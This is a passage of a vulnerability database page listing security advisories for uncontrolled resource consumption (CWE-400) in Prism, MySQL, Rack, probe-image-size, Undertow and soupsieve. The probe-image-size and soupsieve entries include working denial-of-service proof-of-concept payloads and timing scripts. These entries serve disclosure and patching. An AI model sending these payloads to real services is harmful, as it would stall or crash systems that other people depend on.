CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6394 vulnerabilities reference this CWE, most recent first.
GHSA-GJ77-59WH-66HG
Vulnerability from github – Published: 2021-06-28 18:33 – Updated: 2022-02-08 21:21Some languages before 1.24.0 are vulnerable to Regular Expression Denial of Service (ReDoS).
Impact
When Prism is used to highlight untrusted (user-given) text, an attacker can craft a string that will take a very very long time to highlight. Do not use the following languages to highlight untrusted text.
- ASCIIDoc
- ERB
Other languages are not affected and can be used to highlight untrusted text.
Patches
This problem has been fixed in Prism v1.24.
References
- PrismJS/prism#2774
- PrismJS/prism#2688
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "prismjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32723"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-28T18:15:20Z",
"nvd_published_at": "2021-06-28T20:15:00Z",
"severity": "HIGH"
},
"details": "Some languages before 1.24.0 are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n### Impact\n\nWhen Prism is used to highlight untrusted (user-given) text, an attacker can craft a string that will take a very very long time to highlight. Do not use the following languages to highlight untrusted text.\n\n- ASCIIDoc\n- ERB\n\nOther languages are __not__ affected and can be used to highlight untrusted text.\n\n### Patches\nThis problem has been fixed in Prism v1.24.\n\n### References\n\n- PrismJS/prism#2774\n- PrismJS/prism#2688\n",
"id": "GHSA-gj77-59wh-66hg",
"modified": "2022-02-08T21:21:38Z",
"published": "2021-06-28T18:33:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PrismJS/prism/security/advisories/GHSA-gj77-59wh-66hg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32723"
},
{
"type": "WEB",
"url": "https://github.com/PrismJS/prism/pull/2688"
},
{
"type": "WEB",
"url": "https://github.com/PrismJS/prism/pull/2774"
},
{
"type": "WEB",
"url": "https://github.com/PrismJS/prism/commit/d85e30da6755fdbe7f8559f8e75d122297167018"
},
{
"type": "PACKAGE",
"url": "https://github.com/PrismJS/prism"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service (ReDoS) in Prism"
}
GHSA-GJG8-GGW8-PG6H
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: InnoDB). Supported versions that are affected are MySQL Server: 8.4.0-8.4.10, 9.7.0-9.7.1; MySQL Cluster: 8.0.0-8.0.47, 8.4.0-8.4.10 and 9.7.0-9.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-47052"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:10Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: InnoDB). Supported versions that are affected are MySQL Server: 8.4.0-8.4.10, 9.7.0-9.7.1; MySQL Cluster: 8.0.0-8.0.47, 8.4.0-8.4.10 and 9.7.0-9.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-gjg8-ggw8-pg6h",
"modified": "2026-07-22T00:31:17Z",
"published": "2026-07-22T00:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47052"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GJH7-P2FX-99VX
Vulnerability from github – Published: 2025-05-08 14:45 – Updated: 2025-05-09 14:35Summary
Rack::QueryParser parses query strings and application/x-www-form-urlencoded bodies into Ruby data structures without imposing any limit on the number of parameters, allowing attackers to send requests with extremely large numbers of parameters.
Details
The vulnerability arises because Rack::QueryParser iterates over each &-separated key-value pair and adds it to a Hash without enforcing an upper bound on the total number of parameters. This allows an attacker to send a single request containing hundreds of thousands (or more) of parameters, which consumes excessive memory and CPU during parsing.
Impact
An attacker can trigger denial of service by sending specifically crafted HTTP requests, which can cause memory exhaustion or pin CPU resources, stalling or crashing the Rack server. This results in full service disruption until the affected worker is restarted.
Mitigation
- Update to a version of Rack that limits the number of parameters parsed, or
- Use middleware to enforce a maximum query string size or parameter count, or
- Employ a reverse proxy (such as Nginx) to limit request sizes and reject oversized query strings or bodies.
Limiting request body sizes and query string lengths at the web server or CDN level is an effective mitigation.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.0.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46727"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-08T14:45:48Z",
"nvd_published_at": "2025-05-07T23:15:54Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::QueryParser` parses query strings and `application/x-www-form-urlencoded` bodies into Ruby data structures without imposing any limit on the number of parameters, allowing attackers to send requests with extremely large numbers of parameters.\n\n## Details\n\nThe vulnerability arises because `Rack::QueryParser` iterates over each `\u0026`-separated key-value pair and adds it to a Hash without enforcing an upper bound on the total number of parameters. This allows an attacker to send a single request containing hundreds of thousands (or more) of parameters, which consumes excessive memory and CPU during parsing.\n\n## Impact\n\nAn attacker can trigger denial of service by sending specifically crafted HTTP requests, which can cause memory exhaustion or pin CPU resources, stalling or crashing the Rack server. This results in full service disruption until the affected worker is restarted.\n\n## Mitigation\n\n- Update to a version of Rack that limits the number of parameters parsed, or\n- Use middleware to enforce a maximum query string size or parameter count, or\n- Employ a reverse proxy (such as Nginx) to limit request sizes and reject oversized query strings or bodies.\n\nLimiting request body sizes and query string lengths at the web server or CDN level is an effective mitigation.",
"id": "GHSA-gjh7-p2fx-99vx",
"modified": "2025-05-09T14:35:11Z",
"published": "2025-05-08T14:45:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-gjh7-p2fx-99vx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46727"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/2bb5263b464b65ba4b648996a579dbd180d2b712"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/3f5a4249118d09d199fe480466c8c6717e43b6e3"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/cd6b70a1f2a1016b73dc906f924869f4902c2d74"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-46727.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack has an Unbounded-Parameter DoS in Rack::QueryParser"
}
GHSA-GJJ5-9665-RWRC
Vulnerability from github – Published: 2026-10-02 23:18 – Updated: 2026-10-02 23:18Overview
probe-image-size scans the SVG header with a searching regular expression, /<[-_.:a-zA-Z0-9][^>]*>/. On input that contains many < characters but no >, the engine restarts the [^>]* scan at every < position and runs to end of input each time, giving quadratic time complexity.
Both the synchronous and the streaming parser are affected.
Impact
Every entry point that reaches the SVG parser is affected: probe.sync(), probe(stream) and probe(url). The URL form is the most exposed one — the input is fetched from a remote host, so an attacker only needs to supply a link.
Processing a crafted buffer blocks the Node.js event loop at 100% CPU for the whole duration. In production environments such as upload validators, image proxies or link unfurl services, a small number of concurrent requests is enough to deny service.
Root Cause Analysis
Two independent problems.
-
Absence of input size cap in the sync path.
lib/parse_sync/svg.jscopied the entire buffer into a string and matched against it. There was no size limit at all, so cost scaled with the size of the attacker-supplied buffer. -
Repeated rescanning in the stream path.
lib/parse_stream/svg.jsdid cap accumulated data at 64 KB, but calledparseSvg(str)on the whole accumulated string on every chunk, givingO(chunks × N²). The cap does not help here: the more chunks the input is split into, the more times the quadratic scan is repeated.
Chunk size is influenced by the sender. highWaterMark (16 KB) is a buffering threshold, not a lower bound — a socket read returns whatever has arrived. A server that writes one byte at a time produces one-byte chunks; this was confirmed against the real needle pipeline with default options.
The original report identified (1) only, and stated that the 64 KB cap mitigates the streaming path. It does not.
Proof of Concept (PoC)
Synchronous:
const probe = require('probe-image-size')
// ~200 KB of '<a' — contains '<' but never '>'
probe.sync(Buffer.from('<a'.repeat(100000), 'latin1'))
Streaming — the same payload split into chunks, slower per byte than the synchronous form:
const { Readable } = require('stream')
const probe = require('probe-image-size')
const payload = Buffer.from('<a'.repeat(32768), 'latin1')
const chunks = []
for (let i = 0; i < payload.length; i += 4096) chunks.push(payload.subarray(i, i + 4096))
await probe(Readable.from(chunks))
Measurements on the maintainer's machine:
| path | input | time |
|---|---|---|
probe.sync() |
25 KB | 0.9 s |
probe.sync() |
50 KB | 5.5 s |
probe.sync() |
100 KB | 18 s |
probe.sync() |
200 KB | 54 s |
probe(stream) |
64 KB, 1 chunk | 1.6 s |
probe(stream) |
64 KB, 4 chunks | 2.9 s |
probe(stream) |
64 KB, 16 chunks | 9.6 s |
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.3.0"
},
"package": {
"ecosystem": "npm",
"name": "probe-image-size"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104861"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-02T23:18:02Z",
"nvd_published_at": "2026-10-02T18:17:02Z",
"severity": "HIGH"
},
"details": "## Overview\n\n`probe-image-size` scans the SVG header with a searching regular expression, `/\u003c[-_.:a-zA-Z0-9][^\u003e]*\u003e/`. On input that contains many `\u003c` characters but no `\u003e`, the engine restarts the `[^\u003e]*` scan at every `\u003c` position and runs to end of input each time, giving quadratic time complexity.\n\nBoth the synchronous and the streaming parser are affected.\n\n## Impact\n\nEvery entry point that reaches the SVG parser is affected: `probe.sync()`, `probe(stream)` and `probe(url)`. The URL form is the most exposed one \u2014 the input is fetched from a remote host, so an attacker only needs to supply a link.\n\nProcessing a crafted buffer blocks the Node.js event loop at 100% CPU for the whole duration. In production environments such as upload validators, image proxies or link unfurl services, a small number of concurrent requests is enough to deny service.\n\n## Root Cause Analysis\n\nTwo independent problems.\n\n1. **Absence of input size cap in the sync path.** `lib/parse_sync/svg.js` copied the entire buffer into a string and matched against it. There was no size limit at all, so cost scaled with the size of the attacker-supplied buffer.\n\n2. **Repeated rescanning in the stream path.** `lib/parse_stream/svg.js` did cap accumulated data at 64 KB, but called `parseSvg(str)` on the whole accumulated string on *every* chunk, giving `O(chunks \u00d7 N\u00b2)`. The cap does not help here: the more chunks the input is split into, the more times the quadratic scan is repeated.\n\n Chunk size is influenced by the sender. `highWaterMark` (16 KB) is a buffering threshold, not a lower bound \u2014 a socket read returns whatever has arrived. A server that writes one byte at a time produces one-byte chunks; this was confirmed against the real `needle` pipeline with default options.\n\nThe original report identified (1) only, and stated that the 64 KB cap mitigates the streaming path. It does not.\n\n## Proof of Concept (PoC)\n\nSynchronous:\n\n```js\nconst probe = require(\u0027probe-image-size\u0027)\n\n// ~200 KB of \u0027\u003ca\u0027 \u2014 contains \u0027\u003c\u0027 but never \u0027\u003e\u0027\nprobe.sync(Buffer.from(\u0027\u003ca\u0027.repeat(100000), \u0027latin1\u0027))\n```\n\nStreaming \u2014 the same payload split into chunks, slower per byte than the synchronous form:\n\n```js\nconst { Readable } = require(\u0027stream\u0027)\nconst probe = require(\u0027probe-image-size\u0027)\n\nconst payload = Buffer.from(\u0027\u003ca\u0027.repeat(32768), \u0027latin1\u0027)\nconst chunks = []\nfor (let i = 0; i \u003c payload.length; i += 4096) chunks.push(payload.subarray(i, i + 4096))\n\nawait probe(Readable.from(chunks))\n```\n\nMeasurements on the maintainer\u0027s machine:\n\n| path | input | time |\n| --- | --- | --- |\n| `probe.sync()` | 25 KB | 0.9 s |\n| `probe.sync()` | 50 KB | 5.5 s |\n| `probe.sync()` | 100 KB | 18 s |\n| `probe.sync()` | 200 KB | 54 s |\n| `probe(stream)` | 64 KB, 1 chunk | 1.6 s |\n| `probe(stream)` | 64 KB, 4 chunks | 2.9 s |\n| `probe(stream)` | 64 KB, 16 chunks | 9.6 s |",
"id": "GHSA-gjj5-9665-rwrc",
"modified": "2026-10-02T23:18:02Z",
"published": "2026-10-02T23:18:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/probe-image-size/security/advisories/GHSA-gjj5-9665-rwrc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104861"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/probe-image-size/commit/60cc96ac0b671e79e328213d0a8e831312b09e84"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/probe-image-size/commit/9b74656d6f973cc59ea2ab1375c0d88390a402ad"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/probe-image-size/commit/c032aefabdecf5cb50548ab9ba175db56353078f"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/probe-image-size"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/probe-image-size/releases/tag/7.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "probe-image-size: Quadratic-time Denial of Service in the SVG Parser"
}
GHSA-GJJX-GQM4-WCGM
Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-06-29 23:28It was found that URLResource.getLastModified() in Undertow closes the file descriptors only when they are finalized which can cause file descriptors to exhaust. This leads to a file handler leak.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.24.FInal"
},
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.25.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.4.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0.Alpha1"
},
{
"fixed": "2.0.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1114"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-29T23:28:47Z",
"nvd_published_at": "2018-09-11T15:29:00Z",
"severity": "MODERATE"
},
"details": "It was found that URLResource.getLastModified() in Undertow closes the file descriptors only when they are finalized which can cause file descriptors to exhaust. This leads to a file handler leak.",
"id": "GHSA-gjjx-gqm4-wcgm",
"modified": "2022-06-29T23:28:47Z",
"published": "2022-05-13T01:33:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1114"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2643"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2669"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0877"
},
{
"type": "WEB",
"url": "https://bugs.openjdk.java.net/browse/JDK-6956385"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1114"
},
{
"type": "WEB",
"url": "https://issues.jboss.org/browse/UNDERTOW-1338"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in Undertow"
}
GHSA-GJV8-XP57-G29C
Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32Summary
soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.
Trust model (Q0)
The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.
Root cause (exact anchors) — src/soupsieve/css_parser.py
# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
- classA
[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]excludes digits (0x30-0x39); classB[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g.
a= 0x61). The construct is therefore effectively(?:C)+(?:C)*over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.
The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).
Reproduction environment (discipline #12 — published artifact)
- git HEAD
751c57b(2.9,PYTHONPATH=src):cd src && python3 ../poc/poc_redos_compile.py. - Published PyPI
soupsieve 2.8.4(freshuv pip install soupsieve beautifulsoup4):cd poc && ../.venv-published/bin/python poc_redos_compile.py→ same O(n²) (evidence:poc/evidence_redos_compile_PUBLISHED_2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_compile.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def compile_time(sel):
t0 = time.perf_counter()
try:
sv.compile(sel)
status = "ok"
except Exception as e:
status = type(e).__name__
return (time.perf_counter() - t0), status
print(f"soupsieve {sv.__version__}\n")
print("Payload A: '[a=' + 'a'*n (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
dt, st = compile_time("[a=" + "a" * n)
print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")
print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
dt, st = compile_time("a" * n + "!")
print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")
payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).
Evidence — HEAD 2.9 (verbatim poc/evidence_redos_compile.log)
soupsieve 2.9
Payload A: '[a=' + 'a'*n (unterminated attribute value)
n=1000 len=1003 214.8 ms [SelectorSyntaxError]
n=2000 len=2003 504.7 ms [SelectorSyntaxError]
n=4000 len=4003 2031.9 ms [SelectorSyntaxError]
n=8000 len=8003 8091.3 ms [SelectorSyntaxError]
Payload B: 'a'*n + '!' (identifier run + invalid trailing char)
n=2000 len=2001 79.7 ms [SelectorSyntaxError]
n=4000 len=4001 322.9 ms [SelectorSyntaxError]
n=8000 len=8001 1328.9 ms [SelectorSyntaxError]
n=16000 len=16001 5379.4 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) (len=12003)
[+] wall time = 18.28 s [SelectorSyntaxError]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_compile_PUBLISHED_2.8.4.log)
soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
n=1000 len=1003 113.9 ms [SelectorSyntaxError]
n=2000 len=2003 457.2 ms [SelectorSyntaxError]
n=4000 len=4003 1816.8 ms [SelectorSyntaxError]
n=8000 len=8003 7299.0 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]
Impact — calibrated
- Confirmed: quadratic CPU consumption per
compile()/select()call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL). - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.
Remediation
- Remove the adjacent-quantifier ambiguity in
IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g.(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no+/*pair spans the same characters. - Alternatively use atomic grouping / possessive quantifiers where supported (
(?>...),*+) to forbid backtracking into the identifier run. - Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "soupsieve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86000"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:32:58Z",
"nvd_published_at": "2026-09-17T16:18:16Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n\u00b2) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and \u2014 most commonly \u2014 BeautifulSoup\u0027s `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr\u0027\u0027\u0027\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n\u0027\u0027\u0027\n# line 129 \u2014 VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr\u0027\u0027\u0027(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|\u0027...\u0027|{IDENTIFIER})\u0027\u0027\u0027\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C \u2014 the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n\u00b2) directly: n=2000 \u2192 44 ms, 4000 \u2192 257 ms, 8000 \u2192 743 ms, 16000 \u2192 2944 ms (~\u00d74 per \u00d72). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s \u2014 i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_compile.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel)\n status = \"ok\"\n except Exception as e:\n status = type(e).__name__\n return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: \u0027[a=\u0027 + \u0027a\u0027*n (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n dt, st = compile_time(\"[a=\" + \"a\" * n)\n print(f\" n={n:\u003c6} len={3+n:\u003c7} {dt*1000:9.1f} ms [{st}]\")\n\nprint(\"\\nPayload B: \u0027a\u0027*n + \u0027!\u0027 (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = compile_time(\"a\" * n + \"!\")\n print(f\" n={n:\u003c6} len={n+1:\u003c7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile(\u0027[a=\u0027 + \u0027a\u0027*12000) (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: \u0027[a=\u0027 + \u0027a\u0027*n (unterminated attribute value)\n n=1000 len=1003 214.8 ms 